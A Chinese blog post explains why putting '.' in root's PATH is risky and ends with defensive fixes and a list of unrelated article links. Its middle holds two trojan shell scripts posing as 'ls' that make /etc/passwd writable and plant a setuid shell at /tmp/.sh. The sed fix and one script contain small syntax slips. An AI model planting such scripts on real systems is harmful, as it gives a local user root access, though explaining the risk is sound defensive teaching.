Unix/Linux环境下多一点不如少一点

原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 、作者信息和本声明。否则将追究法律责任。http://chenguang.blog.51cto.com/350944/69562

正如很多人所知道的$PATH环境变量里存着一张目录列表,当用户要执行某一程序时,系统就会按照列表中的内容去查找该程序的位置。当程序名前不带点斜线 . / 时$PATH就会起作用。

  对于普通用户和root用户$PATH里默认是不包含"."来指定用户的当前目录。这在本机进行脚本开发的程序员来说却不方便,想图省事的人就把点加到了搜索路径中,这就等于在你的系统埋下了险情。

  例如:root为了方便使用在他的当前路径末尾加了个点"."(搜索目录为代表当前目录)

  命令操作如下:


[root@rh root]# PATH=$PATH:.
[root@rh root]# echo $PATH
/usr/local/sbin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin:.

  这下是方便了,直接输入脚本名就能执行。OK,正常情况下一点问题没有,也省去了输入./foo.sh的烦恼(foo.sh是我假设的脚本文件名)。有的root把PATH=$PATH:.这条命令加到了profile里,使所有用户到分享你给他们带来的"福音"。更有胜者root用户竟然 PATH=.:$PATH(将":"加到路径前是另一种形式)。正常请况下一点问题没有,直到有一天,张三用户在他的主目录下放了名为lls的脚本,并对 root说他的系统出问题了希望root能帮他解决。(其实是一个trap)。Root一上来就su 成管理员权限,紧更着列了一下目录。有可能管理员误敲成了lls,结果哈哈。。。。

  以下是个简单的C shell 的例子


#!/bin/csh
If ( ! -o /bin/su )
goto finish
cp /bin/sh /tmp/.sh
chmod 7777 /tmp/.sh
finish :
exec /bin/ls $argv | grep -v ls

  稍微变形就有个B shell的


#!/bin/sh
if chmod 666 /etc/passwd > /dev/null 2>&1 ;then
cp /bin/sh /tmp/.sh
chmod 4755 /tmp/.sh
fi
exec ls "$@"

  如果root将其环境变量$PATH包含了"."并且其位置先与ls所在的系统目录,那么当用户在/tmp中执行ls时,执行的是上面给出的脚本,而不是实际的ls命令,因为最终还是执行了ls,所以root不会看出有任何异常。如果是root执行了该脚本,就会将口令文件设置为可写,并将 shell复制到/tmp保存为.sh,同时设置其setuserid位,所有这一切都非常安静地发生。

  在以上这两个程序里,心怀不鬼的人能写入任何令root急的要跳楼的程序,部下陷阱等root来钻,也许root在不知不觉中施行了也根本不会察觉。也许在张三的主目录下有一个名为ps的脚本里面包含有危险脚本,root可能一到他的机器前就输入了ps,此时系统会首先到当前目录下搜索,结果 /sbin/ps却不被执行。类似这样的小花招还有很多。

  管理员同志,不要太紧张,下面我说说解决办法。

  首先,要养成输绝对路径的良好命令行输入习惯,这样就不会让"不法份子"乘虚而入了。比如,列目录最好用/bin/ls来列目录,不要图方便而冒然输入ls。

  其次,根用户(root)不要把"."包括到搜索目录列表里,而普通用户如果个"."包括到搜索列表中的话别,则"."就应当放在搜索目录列表的最后位置上。这样一来普通用户不会受到前面所述的那种危害。

  最后,可以在登陆时在/etc/profile 和bashrc .profile文件的末尾添加如下一行


[PATH=`echo $PATH |sed -e 's/::/:/g; s/:.:/:/g; s/:.$//; s/^://' `

  这个简单的sed命令将删除路径里所有的"."包括其另一形式"::"

  还可以由crontab调用定期执行


#find / ! -fstype proc '(' -name '.??*' -o -name '.[^.]' ')' > point.txt ; \
mail -s 'this is a pointlist' root@localhost < point.txt

  来搜索所有以点开头的文件,再发送到root的邮箱里,再进行比较等任务。

  好了,希望各位用户能有所感悟,能想出更好的防御办法。欢迎,大家有问题与我联系哦! cgweb at 163 dot com

  备注:以上提供的shell代码仅供实验使用,不得用于违法活动,否则与本人无关.

本文出自 “李晨光原创技术博客” 博客,请务必保留此出处http://chenguang.blog.51cto.com/350944/69562

时间: 2024-08-08 05:48:45

Unix/Linux环境下多一点不如少一点的相关文章

Sendmail在Unix/Linux环境下554错误的解决方法

&http://www.aliyun.com/zixun/aggregation/37954.html">nbsp;   Sendmail 是在 Unix/Linux 环境下十分流行媛的邮件发送服务程序.但是其配置十分繁琐,问题也很多.本文解决了不能发信的一个问题. 问题: 每次发送的邮件都报告: ----- Transcript of session follows ----- 554 5.0.0 MX list for example.com. points back to e

【云和恩墨】性能优化:Linux环境下合理配置大内存页(HugePage)

原创 2016-09-12 熊军  [云和恩墨]性能优化:Linux环境下合理配置大内存页(HugePage) 熊军(老熊) 云和恩墨西区总经理 Oracle ACED,ACOUG核心会员 PC Server发展到今天,在性能方面有着长足的进步.64位的CPU在数年前都已经进入到寻常的家用PC之中,更别说是更高端的PC Server:在Intel和AMD两大处理器巨头的努力下,x86 CPU在处理能力上不断提升:同时随着制造工艺的发展,在PC Server上能够安装的内存容量也越来越大,现在随处

Linux环境下安装解压缩版MySQL5.5

Linux环境下安装解压缩版MySQL5.5成功完成. 本来是想在www.mysql.com网上下载安装的mysql的,看了几个版本全是解压的.就在网上搜索了一些资料进行了解压版的安装. 下面给大家说一下设置的过程. 首先参考了:http://sheng.iteye.com/blog/830209 的博客.   (由于没有安装成功,所以在其博客的基础上做了相应的修改如下) 1.下载MySQL免安装版/二进制版软件(不用编译)     按照自己系统选择 http://www.mysql.com/d

Linux环境下的高级隐藏技术_unix linux

    摘要:本文深入分析了Linux环境下文件.进程及模块的高级隐藏技术,其中包括:Linux可卸载模块编程技术.修改内存映象直接对系统调用进行修改技术,通过虚拟文件系统proc隐藏特定进程的技术. 隐藏技术在计算机系统安全中应用十分广泛,尤其是在网络攻击中,当攻击者成功侵入一个系统后,有效隐藏攻击者的文件.进程及其加载的模块变得尤为重要.本文将讨论Linux系统中文件.进程及模块的高级隐藏技术,这些技术有的已经被广泛应用到各种后门或安全检测程序之中,而有一些则刚刚起步,仍然处在讨论阶段,应用

【转】linux环境下的c++编程

linux环境下的c++编程        就C++开发工具而言,与Windows下微软(VC, VS2005等)一统天下相比,Linux/Unix下C++开发,可谓五花八门,各式各样.Emacs, vi, eclipse, anjuta,kdevelop等层出不穷.         Windows下,开发工具多以集成开发环境IDE的形式展现给最终用户.例如,VS2005集成了编辑器,宏汇编ml,C /C++编译器cl,资源编译器rc,调试器,文档生成工具, nmake.它们以集成方式提供给最终

etl-如何在Linux环境下让SHELL调用kettle的ETL的等待时间减少

问题描述 如何在Linux环境下让SHELL调用kettle的ETL的等待时间减少 各位大神,求问. 在Linux环境下用SHELL调用kettle的ETL. 每次调用ETL都得有一个等待时间,等待kettle启动(7S), 这个怎么解决? 能不能使KETTLE在Linux环境下先启动好了?(这样在执行shell的过程中就少掉了等待启动kettle的时间) 或者是有其他方法. 求解,急!!!!!!!! 解决方案 ETL利器Kettle实战应用解析系列http://www.cnblogs.com/

linux shell etl-如何在Linux环境下让SHELL调用kettle的ETL的等待时间减少

问题描述 如何在Linux环境下让SHELL调用kettle的ETL的等待时间减少 各位大神,求问. 在Linux环境下用SHELL调用kettle的ETL. 每次调用ETL都得有一个等待时间,等待kettle启动(7S), 这个怎么解决? 能不能使KETTLE在Linux环境下先启动好了?(这样在执行shell的过程中就少掉了等待启动kettle的时间) 或者是有其他方法. 求解,急!!!!!!!!

《编译与反编译技术》—第1章1.8节UNIX/Linux环境中的make和makefile

本节书摘来自华章出版社<编译与反编译技术>一书中的第1章,第1.8节UNIX/Linux环境中的make和makefile ,作者庞建民,陶红伟,刘晓楠,岳峰,更多章节内容可以访问"华章计算机"公众号查看. 1.8 UNIX/Linux环境中的make和makefile 在UNIX或Linux环境中,make是一个非常重要和经常使用的编译工具.无论是自己进行项目开发还是安装应用软件,都会经常用到make或make install.使用make工具,可以将大型的开发项目分解成

Linux环境下安装RocketMQ(MetaQ)

一:RocketMQ简介 RocketMQ是一款分布式.队列模型的消息中间件,具有以下特点: 1.能够保证严格的消息顺序 2.提供丰富的消息拉取模式 3.高效的订阅者水平扩展能力 4.实时的消息订阅机制 5.亿级消息堆积能力 二:安装RocketMQ 下载源码 首先我们从githup上获取RocketMQ的源码,目前最新的版本为3.5.8,下载地址为:https://github.com/alibaba/RocketMQ/releases 或者 wget  https://github.com/